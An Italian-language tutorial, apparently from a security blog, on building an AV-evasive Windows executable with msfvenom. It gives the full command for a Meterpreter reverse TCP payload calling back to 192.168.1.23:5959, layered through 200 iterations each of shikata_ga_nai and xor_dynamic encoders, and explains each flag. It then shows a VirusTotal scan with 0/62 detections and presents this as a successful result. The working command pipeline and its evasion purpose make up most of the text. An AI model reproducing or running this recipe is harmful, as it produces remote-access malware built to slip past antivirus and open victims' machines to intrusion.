

CYBER SECURITY

Creazione di un Malware con Msfvenom

```
kali@kali: ~  
File Actions Edit View Help  
  
(kali@kali)-[~]  
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.23 LPORT=5959 -a x86 --platform windows -e x86/shikata_ga_nai -i 200 -f raw | msfvenom -a x86 --platform windows -e x86/xor_dynamic -i 200 -f raw | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 200 -o polimorficomm_v2.exe
```

Creazione del payload iniziale:

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.23 LPORT=5959 -a x86 --platform windows -e x86/shikata_ga_nai -i 200 -f raw
```

Creazione del payload di base:

-p windows/meterpreter/reverse_tcp: Specifica il payload. Questo è una shell reverse TCP di Meterpreter progettata per Windows.

LHOST=192.168.1.23 LPORT=5959: Configura l'host e la porta di ascolto per il payload.

-a x86 --platform windows: Indica l'architettura (x86) e la piattaforma (Windows).

-e x86/shikata_ga_nai: Usa l'encoder shikata_ga_nai per offuscare il payload.

-i 200: Esegue 200 iterazioni dell'encoding per rendere il payload più difficile da rilevare.

-f raw: Salva il payload in formato grezzo (raw), pronto per ulteriori trasformazioni.

Primo strato di encoding

```
| msfvenom -a x86 --platform windows -e x86/xor_dynamic -i 200 -f raw
```

|: Passa l'output del primo comando come input per questo passaggio.

-e x86/xor_dynamic: Applica l'encoder xor_dynamic, che utilizza l'operazione XOR con chiavi dinamiche per aggiungere ulteriore offuscamento.

-i 200: Ripete l'encoding 200 volte per aumentare la complessità.

-f raw: Mantiene il formato grezzo per permettere ulteriori trasformazioni.

Ultimo strato di encoding

```
| msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 200 -o  
polimorficomm_v2.exe
```

|: Passa il risultato dell'encoding precedente come input.

-e x86/shikata_ga_nai: Ritorna all'encoder shikata_ga_nai per un ulteriore livello di offuscamento.

-i 200: Ripete l'encoding 200 volte.

-o polimorficomm_v2.exe: Salva il payload finale come file eseguibile chiamato polimorficomm_v2.exe.

Finalità

Questo comando genera un file eseguibile Windows (polimorficomm_v2.exe) che:

1- Contiene un payload reverse TCP di Meterpreter.

2- È offuscato con tre strati di encoding:

Due strati di **shikata_ga_nai**.

Uno strato intermedio di **xor_dynamic**.

3- Questo livello di offuscamento rende il payload più difficile da rilevare da strumenti di analisi statica come antivirus.

Testiamo il virus su virus total

The screenshot shows the VirusTotal web interface. At the top, the browser address bar displays the URL: <https://www.virustotal.com/gui/file/e0ecccc24025de11fe354c2b93c9e9b55198422e3c48032f2f79402edc855cf5>. The file name 'polimorficomm_v2.exe' is visible in the header. A green circular badge indicates a 'Community Score' of 0/62. A message states: 'No security vendors flagged this file as malicious'. The file size is 30.18 KB, and the last analysis was performed 'a moment ago'. Below the header, there are tabs for 'DETECTION', 'DETAILS', and 'COMMUNITY'. A green banner encourages joining the community. A table titled 'Security vendors' analysis' shows results from various vendors, all marked as 'Undetected'.

Security vendors' analysis		Do you want to automate checks?	
Acronis (Static ML)	✓ Undetected	AhnLab-V3	✓ Undetected
AliCloud	✓ Undetected	ALYac	✓ Undetected
Antiy-AVL	✓ Undetected	Arcabit	✓ Undetected
Avast	✓ Undetected	AVG	✓ Undetected

VirusTotal è una piattaforma online gratuita che consente agli utenti di analizzare file e URL per individuare potenziali malware o contenuti malevoli. È particolarmente utile per verificare se un file, un eseguibile, o un link è sospetto prima di utilizzarlo.

Il malware appena creato, una volta caricato sulla piattaforma, ha mostrato un'elevata efficacia in termini di invisibilità, ottenendo risultati molto positivi nel test.